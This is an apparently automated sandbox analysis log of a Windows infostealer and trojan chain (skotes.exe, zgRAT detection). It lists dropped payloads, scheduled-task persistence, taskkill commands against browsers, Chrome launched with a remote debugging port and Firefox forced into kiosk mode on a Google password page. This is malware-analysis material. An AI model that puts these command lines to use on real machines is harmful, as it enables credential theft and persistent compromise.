Source: 1255b9ac14.exe.6.dr	Static PE information: section name:
Source: 1255b9ac14.exe.6.dr	Static PE information: section name: .idata
Source: 1255b9ac14.exe.6.dr	Static PE information: section name:
Source: random[1].exe0.6.dr	Static PE information: section name:
Source: random[1].exe0.6.dr	Static PE information: section name: .idata
Source: random[1].exe0.6.dr	Static PE information: section name:
Source: b1c5a9309d.exe.6.dr	Static PE information: section name:
Source: b1c5a9309d.exe.6.dr	Static PE information: section name: .idata
Source: b1c5a9309d.exe.6.dr	Static PE information: section name:
Source: random[1].exe1.6.dr	Static PE information: section name:
Source: random[1].exe1.6.dr	Static PE information: section name: .idata
Source: 140460b5fe.exe.6.dr	Static PE information: section name:
Source: 140460b5fe.exe.6.dr	Static PE information: section name: .idata
Source: random[2].exe0.6.dr	Static PE information: section name:
Source: random[2].exe0.6.dr	Static PE information: section name: .idata
Source: 54993b55c5.exe.6.dr	Static PE information: section name:
Source: 54993b55c5.exe.6.dr	Static PE information: section name: .idata

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 6_2_00B8CB97 NtFlushProcessWriteBuffers,NtFlushProcessWriteBuffers,

6_2_00B8CB97

Source: C:\Users\user\Desktop\file.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00678860	0_2_00678860
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00677049	0_2_00677049
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006778BB	0_2_006778BB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006731A8	0_2_006731A8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00634B30	0_2_00634B30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00672D10	0_2_00672D10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00634DE0	0_2_00634DE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00667F36	0_2_00667F36
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0067779B	0_2_0067779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_00BB78BB	1_2_00BB78BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_00BB8860	1_2_00BB8860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_00BB7049	1_2_00BB7049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_00BB31A8	1_2_00BB31A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_00B74B30	1_2_00B74B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_00B74DE0	1_2_00B74DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_00BB2D10	1_2_00BB2D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_00BB779B	1_2_00BB779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_00BA7F36	1_2_00BA7F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00BB78BB	2_2_00BB78BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00BB8860	2_2_00BB8860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00BB7049	2_2_00BB7049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00BB31A8	2_2_00BB31A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00B74B30	2_2_00B74B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00B74DE0	2_2_00B74DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00BB2D10	2_2_00BB2D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00BB779B	2_2_00BB779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00BA7F36	2_2_00BA7F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00B7E530	6_2_00B7E530
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00B96192	6_2_00B96192
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00BB8860	6_2_00BB8860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00B74B30	6_2_00B74B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00B74DE0	6_2_00B74DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00BB2D10	6_2_00BB2D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00B90E13	6_2_00B90E13
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00BB7049	6_2_00BB7049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00BB31A8	6_2_00BB31A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00B91602	6_2_00B91602
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00BB779B	6_2_00BB779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00BB78BB	6_2_00BB78BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00B93DF1	6_2_00B93DF1
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00BA7F36	6_2_00BA7F36

Source: Joe Sandbox View

Dropped File: C:\ProgramData\freebl3.dll EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 006480C0 appears 130 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 00B8DF80 appears 81 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 00BA8E10 appears 47 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 00B880C0 appears 393 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 00B8D64E appears 79 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 00B87A00 appears 39 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 00B8D942 appears 84 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 00B8D663 appears 40 times

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 7.2.6f93831ea2.exe.4613198.1.raw.unpack, type: UNPACKEDPE

Matched rule: MALWARE_Win_zgRAT author = ditekSHen, description = Detects zgRAT

Source: file.exe	Static PE information: Section: ZLIB complexity 0.9983768307220708
Source: skotes.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9983768307220708
Source: random[2].exe.6.dr	Static PE information: Section: ZLIB complexity 0.9974582619863014
Source: random[2].exe.6.dr	Static PE information: Section: xnuzvlhe ZLIB complexity 0.994702490860937
Source: 1255b9ac14.exe.6.dr	Static PE information: Section: ZLIB complexity 0.9974582619863014
Source: 1255b9ac14.exe.6.dr	Static PE information: Section: xnuzvlhe ZLIB complexity 0.994702490860937
Source: random[1].exe0.6.dr	Static PE information: Section: ZLIB complexity 0.997418129280822
Source: random[1].exe0.6.dr	Static PE information: Section: idubrvtj ZLIB complexity 0.9944264762835645
Source: b1c5a9309d.exe.6.dr	Static PE information: Section: ZLIB complexity 0.997418129280822
Source: b1c5a9309d.exe.6.dr	Static PE information: Section: idubrvtj ZLIB complexity 0.9944264762835645
Source: random[2].exe1.6.dr	Static PE information: Section: .bss ZLIB complexity 1.0003343485169491
Source: random[2].exe1.6.dr	Static PE information: Section: .bss ZLIB complexity 1.0003343485169491
Source: c867aabc28.exe.6.dr	Static PE information: Section: .bss ZLIB complexity 1.0003343485169491
Source: c867aabc28.exe.6.dr	Static PE information: Section: .bss ZLIB complexity 1.0003343485169491

Source: random[1].exe1.6.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: 140460b5fe.exe.6.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@56/42@35/13

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1018431001\54993b55c5.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3916:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3176:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8072:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5244:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6892:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5796:120:WilError_03

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Temp\abc3bc1985

Jump to behavior

Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: firefox.exe, 0000001C.00000002.3370104989.000001C138717000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3384098116.000001C139403000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3384803624.000001C13948A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SELECT * FROM events WHERE timestamp BETWEEN date(:dateFrom) AND date(:dateTo);
Source: 140460b5fe.exe, 0000000B.00000002.3083004692.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, 140460b5fe.exe, 0000000B.00000002.3042080293.0000000005CCD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: firefox.exe, 0000001C.00000002.3370104989.000001C138717000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3384098116.000001C139403000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE events (id INTEGER PRIMARY KEY, type INTEGER NOT NULL, count INTEGER NOT NULL, timestamp DATE );
Source: firefox.exe, 0000001C.00000002.3370104989.000001C138717000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3384098116.000001C139403000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: INSERT INTO events (type, count, timestamp) VALUES (:type, 1, date(:date));
Source: 140460b5fe.exe, 0000000B.00000002.3083004692.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, 140460b5fe.exe, 0000000B.00000002.3042080293.0000000005CCD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: 140460b5fe.exe, 0000000B.00000002.3083004692.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, 140460b5fe.exe, 0000000B.00000002.3042080293.0000000005CCD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: 140460b5fe.exe, 0000000B.00000002.3083004692.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, 140460b5fe.exe, 0000000B.00000002.3042080293.0000000005CCD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: firefox.exe, 0000001C.00000002.3384098116.000001C139403000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SELECT timestamp FROM events ORDER BY timestamp ASC LIMIT 1;;
Source: firefox.exe, 0000001C.00000002.3370104989.000001C138717000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3384803624.000001C1394AF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SELECT sum(count) FROM events;
Source: firefox.exe, 0000001C.00000002.3370104989.000001C138717000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SELECT timestamp FROM events ORDER BY timestamp ASC LIMIT 1;
Source: firefox.exe, 0000001C.00000002.3384098116.000001C139403000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SELECT timestamp FROM events ORDER BY timestamp ASC LIMIT 1;;Fy6
Source: firefox.exe, 0000001C.00000002.3384098116.000001C139403000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: UPDATE events SET count = count + 1 WHERE id = :id;-
Source: firefox.exe, 0000001C.00000002.3384098116.000001C139403000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SELECT sum(count) FROM events;9'
Source: 140460b5fe.exe, 0000000B.00000002.3083004692.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, 140460b5fe.exe, 0000000B.00000002.3042080293.0000000005CCD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: 140460b5fe.exe, 0000000B.00000002.3083004692.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, 140460b5fe.exe, 0000000B.00000002.3042080293.0000000005CCD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: 140460b5fe.exe, 0000000B.00000002.3083004692.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, 140460b5fe.exe, 0000000B.00000002.3042080293.0000000005CCD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: firefox.exe, 0000001C.00000002.3370104989.000001C138717000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: UPDATE events SET count = count + 1 WHERE id = :id;
Source: 140460b5fe.exe, 0000000B.00000003.2874721956.0000000005B78000.00000004.00000020.00020000.00000000.sdmp, b1c5a9309d.exe, 0000000C.00000003.2750757499.0000000005D6A000.00000004.00000800.00020000.00000000.sdmp, b1c5a9309d.exe, 00000010.00000003.2856564532.0000000005C83000.00000004.00000800.00020000.00000000.sdmp, b1c5a9309d.exe, 00000010.00000003.2855936091.0000000005C7C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: firefox.exe, 0000001C.00000002.3370104989.000001C138717000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3384098116.000001C139403000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SELECT * FROM events WHERE type = :type AND timestamp = date(:date);
Source: firefox.exe, 0000001C.00000002.3384098116.000001C139403000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SELECT sum(count) FROM events;9
Source: 140460b5fe.exe, 0000000B.00000002.3083004692.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, 140460b5fe.exe, 0000000B.00000002.3042080293.0000000005CCD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: firefox.exe, 0000001C.00000002.3370104989.000001C138717000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SELECT name, value, count, date_created, date_last_used FROM autofillUnable to find the button element inside the profiler toolbar item.handleUpdateFailure - Failure is a write error. Setting state to pendinghttps://support.mozilla.org/kb/warning-unresponsive-script#w_other-causesError while computing isPotentiallyTrustWorthy for pdf viewer page: startMigration was asked to open auto-migrate from a non-existent source: chrome://browser/content/migration/migration-wizard-constants.mjshttps://support.mozilla.org/kb/firefox-crashes-troubleshoot-prevent-and-get-helpUpdateService:_postUpdateProcessing - Cleaning up active updates.UpdateService:_postUpdateProcessing - Setting update's state from UpdateService:_postUpdateProcessing - Attempting handleUpdateFailureUpdateService:_registerOnlineObserver - observer already registeredgetCanApplyUpdates - in background task mode, assuming user can't elevatePanelUI._onNotificationButtonEvent(event, 'secondarybuttoncommand');UpdateService:_postUpdateProcessing - Cleaning up unexpected state.Tried to move an unmovable Places node, reverting to a copy operation.UpdateService.canUsuallyCheckForUpdates - able to check for updatesthe inner window was destroyed or a new favicon was loaded for itchrome://browser/content/migration/migration-wizard-constants.mjs
Source: 140460b5fe.exe, 0000000B.00000002.3083004692.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, 140460b5fe.exe, 0000000B.00000002.3042080293.0000000005CCD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);

Source: file.exe	Virustotal: Detection: 56%
Source: file.exe	ReversingLabs: Detection: 52%

Source: file.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1018424001\6f93831ea2.exe "C:\Users\user\AppData\Local\Temp\1018424001\6f93831ea2.exe"
Source: C:\Users\user\AppData\Local\Temp\1018424001\6f93831ea2.exe	Process created: C:\Users\user\AppData\Local\Temp\1018424001\6f93831ea2.exe "C:\Users\user\AppData\Local\Temp\1018424001\6f93831ea2.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe "C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1018429001\140460b5fe.exe "C:\Users\user\AppData\Local\Temp\1018429001\140460b5fe.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe "C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe "C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe"
Source: C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe "C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe"
Source: C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1018429001\140460b5fe.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""
Source: C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: unknown	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2296 -parentBuildID 20230927232528 -prefsHandle 2244 -prefMapHandle 2236 -prefsLen 25359 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {8cb32781-5a30-4b8e-a269-1f34095213b3} 3720 "\\.\pipe\gecko-crash-server-pipe.3720" 1c127970b10 socket
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4276 -parentBuildID 20230927232528 -prefsHandle 4268 -prefMapHandle 4264 -prefsLen 26374 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {6d88d8b3-9e28-4053-b6d4-c8b5baf31d41} 3720 "\\.\pipe\gecko-crash-server-pipe.3720" 1c139a53810 rdd
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1018431001\54993b55c5.exe "C:\Users\user\AppData\Local\Temp\1018431001\54993b55c5.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1018429001\140460b5fe.exe "C:\Users\user\AppData\Local\Temp\1018429001\140460b5fe.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1018432001\c867aabc28.exe "C:\Users\user\AppData\Local\Temp\1018432001\c867aabc28.exe"
Source: C:\Users\user\AppData\Local\Temp\1018432001\c867aabc28.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe "C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe"
Source: C:\Users\user\AppData\Local\Temp\1018432001\c867aabc28.exe	Process created: C:\Users\user\AppData\Local\Temp\1018432001\c867aabc28.exe "C:\Users\user\AppData\Local\Temp\1018432001\c867aabc28.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1018424001\6f93831ea2.exe "C:\Users\user\AppData\Local\Temp\1018424001\6f93831ea2.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe "C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1018429001\140460b5fe.exe "C:\Users\user\AppData\Local\Temp\1018429001\140460b5fe.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe "C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1018431001\54993b55c5.exe "C:\Users\user\AppData\Local\Temp\1018431001\54993b55c5.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1018432001\c867aabc28.exe "C:\Users\user\AppData\Local\Temp\1018432001\c867aabc28.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018424001\6f93831ea2.exe	Process created: C:\Users\user\AppData\Local\Temp\1018424001\6f93831ea2.exe "C:\Users\user\AppData\Local\Temp\1018424001\6f93831ea2.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018429001\140460b5fe.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""
Source: C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
